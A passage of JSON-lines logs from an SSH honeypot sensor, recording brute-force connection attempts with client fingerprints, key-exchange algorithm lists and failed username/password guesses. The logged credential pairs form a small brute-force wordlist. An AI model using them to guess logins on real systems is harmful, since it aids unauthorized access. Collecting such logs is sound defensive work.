es256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:53:29.301198Z","src_ip":"211.178.247.182","session":"fdb5d0bc457f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali2024","message":"login attempt [ali/ali2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:53:30.086046Z","src_ip":"211.178.247.182","session":"fdb5d0bc457f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:53:31.285459Z","src_ip":"211.178.247.182","session":"fdb5d0bc457f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":28318,"dst_ip":"159.203.135.109","dst_port":22,"session":"52dc1f32fc58","protocol":"ssh","message":"New connection: 211.178.247.182:28318 (159.203.135.109:22) [session: 52dc1f32fc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:27.289189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:27.293870Z","src_ip":"211.178.247.182","session":"52dc1f32fc58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:27.485449Z","src_ip":"211.178.247.182","session":"52dc1f32fc58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$1234","message":"login attempt [ubuntu/!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:28.280075Z","src_ip":"211.178.247.182","session":"52dc1f32fc58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:29.472478Z","src_ip":"211.178.247.182","session":"52dc1f32fc58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.24.11.133","src_port":29484,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1ad9e84e240","protocol":"ssh","message":"New connection: 185.24.11.133:29484 (159.203.135.109:22) [session: b1ad9e84e240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:57.047810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_4.0.0","message":"Remote SSH version: SSH-2.0-paramiko_4.0.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:57.066026Z","src_ip":"185.24.11.133","session":"b1ad9e84e240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a2de0f306611e0957be704f5b0e35a82","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,aes128-gcm@openssh.com,aes256-gcm@openssh.com;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a2de0f306611e0957be704f5b0e35a82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:57.172348Z","src_ip":"185.24.11.133","session":"b1ad9e84e240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maintrae","password":"asdftracedog12!","message":"login attempt [maintrae/asdftracedog12!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:57.496782Z","src_ip":"185.24.11.133","session":"b1ad9e84e240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:54:58.717285Z","src_ip":"185.24.11.133","session":"b1ad9e84e240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":34996,"dst_ip":"159.203.135.109","dst_port":22,"session":"87ada12ce765","protocol":"ssh","message":"New connection: 211.178.247.182:34996 (159.203.135.109:22) [session: 87ada12ce765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:55:23.169214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:55:23.174343Z","src_ip":"211.178.247.182","session":"87ada12ce765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:55:23.365417Z","src_ip":"211.178.247.182","session":"87ada12ce765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a11b12c13","message":"login attempt [ubuntu/a11b12c13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:55:24.149493Z","src_ip":"211.178.247.182","session":"87ada12ce765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:55:25.339762Z","src_ip":"211.178.247.182","session":"87ada12ce765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":41140,"dst_ip":"159.203.135.109","dst_port":22,"session":"b162f8a42de9","protocol":"ssh","message":"New connection: 211.178.247.182:41140 (159.203.135.109:22) [session: b162f8a42de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:56:19.470563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:56:19.475108Z","src_ip":"211.178.247.182","session":"b162f8a42de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:56:19.665789Z","src_ip":"211.178.247.182","session":"b162f8a42de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"ftp123","message":"login attempt [testftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:56:20.451200Z","src_ip":"211.178.247.182","session":"b162f8a42de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:56:21.648690Z","src_ip":"211.178.247.182","session":"b162f8a42de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":46991,"dst_ip":"159.203.135.109","dst_port":22,"session":"525a74fb57b9","protocol":"ssh","message":"New connection: 211.178.247.182:46991 (159.203.135.109:22) [session: 525a74fb57b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:57:14.587476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:57:14.593448Z","src_ip":"211.178.247.182","session":"525a74fb57b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:57:14.788415Z","src_ip":"211.178.247.182","session":"525a74fb57b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo9","password":"odoo9","message":"login attempt [odoo9/odoo9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:57:15.583710Z","src_ip":"211.178.247.182","session":"525a74fb57b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:57:16.785593Z","src_ip":"211.178.247.182","session":"525a74fb57b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":53640,"dst_ip":"159.203.135.109","dst_port":22,"session":"026233eca8cd","protocol":"ssh","message":"New connection: 211.178.247.182:53640 (159.203.135.109:22) [session: 026233eca8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:58:09.048558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:58:09.054375Z","src_ip":"211.178.247.182","session":"026233eca8cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:58:09.243999Z","src_ip":"211.178.247.182","session":"026233eca8cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpserver","password":"ftpserver","message":"login attempt [ftpserver/ftpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:58:10.009206Z","src_ip":"211.178.247.182","session":"026233eca8cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:58:11.195059Z","src_ip":"211.178.247.182","session":"026233eca8cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.24.11.133","src_port":30626,"dst_ip":"159.203.135.109","dst_port":22,"session":"74c5dc61e1b2","protocol":"ssh","message":"New connection: 185.24.11.133:30626 (159.203.135.109:22) [session: 74c5dc61e1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:58:36.213806Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:58:36.333448Z","src_ip":"185.24.11.133","session":"74c5dc61e1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":59689,"dst_ip":"159.203.135.109","dst_port":22,"session":"9711834a52c9","protocol":"ssh","message":"New connection: 211.178.247.182:59689 (159.203.135.109:22) [session: 9711834a52c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:02.302366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:02.311737Z","src_ip":"211.178.247.182","session":"9711834a52c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:02.500854Z","src_ip":"211.178.247.182","session":"9711834a52c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyuio","message":"login attempt [ubuntu/qwertyuio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:03.292791Z","src_ip":"211.178.247.182","session":"9711834a52c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:04.483979Z","src_ip":"211.178.247.182","session":"9711834a52c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":58862,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5f033c30e3","protocol":"ssh","message":"New connection: 50.6.248.168:58862 (10.17.0.5:22) [session: fd5f033c30e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:52.280698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:52.286475Z","src_ip":"50.6.248.168","session":"fd5f033c30e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 